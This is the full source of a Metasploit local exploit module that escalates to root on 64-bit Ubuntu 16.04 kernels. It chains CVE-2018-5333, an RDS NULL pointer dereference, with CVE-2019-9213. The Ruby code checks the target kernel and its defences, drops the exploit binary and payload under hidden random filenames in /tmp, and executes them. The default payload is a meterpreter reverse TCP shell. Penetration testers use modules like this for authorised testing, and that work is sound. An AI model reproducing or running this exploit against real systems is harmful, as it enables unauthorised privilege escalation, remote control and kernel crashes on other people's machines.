This Metasploit module attempts to gain root privileges on Linux systems by abusing a NULL pointer dereference in the rds_atomic_free_op function in the Reliable Datagram Sockets (RDS) kernel module (rds.ko). Successful exploitation requires the RDS kernel module to be loaded. If the RDS module is not blacklisted (default); then it will be loaded automatically. This exploit supports 64-bit Ubuntu Linux systems, including distributions based on Ubuntu, such as Linux Mint and Zorin OS. This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various 4.4 and 4.8 kernels.
e83495fea436d8a384500ace26357f2f##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Compile
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a NULL pointer dereference in the `rds_atomic_free_op` function in the
Reliable Datagram Sockets (RDS) kernel module (rds.ko).
Successful exploitation requires the RDS kernel module to be loaded.
If the RDS module is not blacklisted (default); then it will be loaded
automatically.
This exploit supports 64-bit Ubuntu Linux systems, including distributions
based on Ubuntu, such as Linux Mint and Zorin OS.
Target offsets are available for:
Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and
Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.
This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included.
Failed exploitation may crash the kernel.
This module has been tested successfully on various 4.4 and 4.8 kernels.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333)
'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213)
'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic
'bcoles', # Metasploit module and updated C exploit
'nstarke' # Additional kernel offsets
],
'DisclosureDate' => '2018-11-01',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2018-5333' ],
[ 'CVE', '2019-9213' ],
[ 'BID', '102510' ],
[ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ],
[ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ]
],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_OS_DOWN ],
},
'DefaultTarget' => 0))
register_advanced_options [
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
arch = kernel_hardware
unless arch.include? 'x86_64'
return CheckCode::Safe("System architecture #{arch} is not supported")
end
vprint_good "System architecture #{arch} is supported"
offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
kernels = offsets.scan(/"(.+?)"/).flatten
version = "#{kernel_release} #{kernel_version.split(' ').first}"
unless kernels.include? version
return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
end
vprint_good "Linux kernel #{version} is vulnerable"
if smap_enabled?
return CheckCode::Safe('SMAP is enabled')
end
vprint_good 'SMAP is not enabled'
if lkrg_installed?
return CheckCode::Safe('LKRG is installed')
end
vprint_good 'LKRG is not installed'
if grsec_installed?
return CheckCode::Safe('grsecurity is in use')
end
vprint_good 'grsecurity is not in use'
unless kernel_modules.include? 'rds'
vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation'
return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation')
end
vprint_good 'rds.ko kernel module is loaded'
CheckCode::Appears
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out')
end
register_file_for_cleanup exploit_path
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup payload_path
# mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete
timeout = 30
print_status "Launching exploit (timeout: #{timeout})..."
output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout)
output.each_line { |line| vprint_status line.chomp }
end
end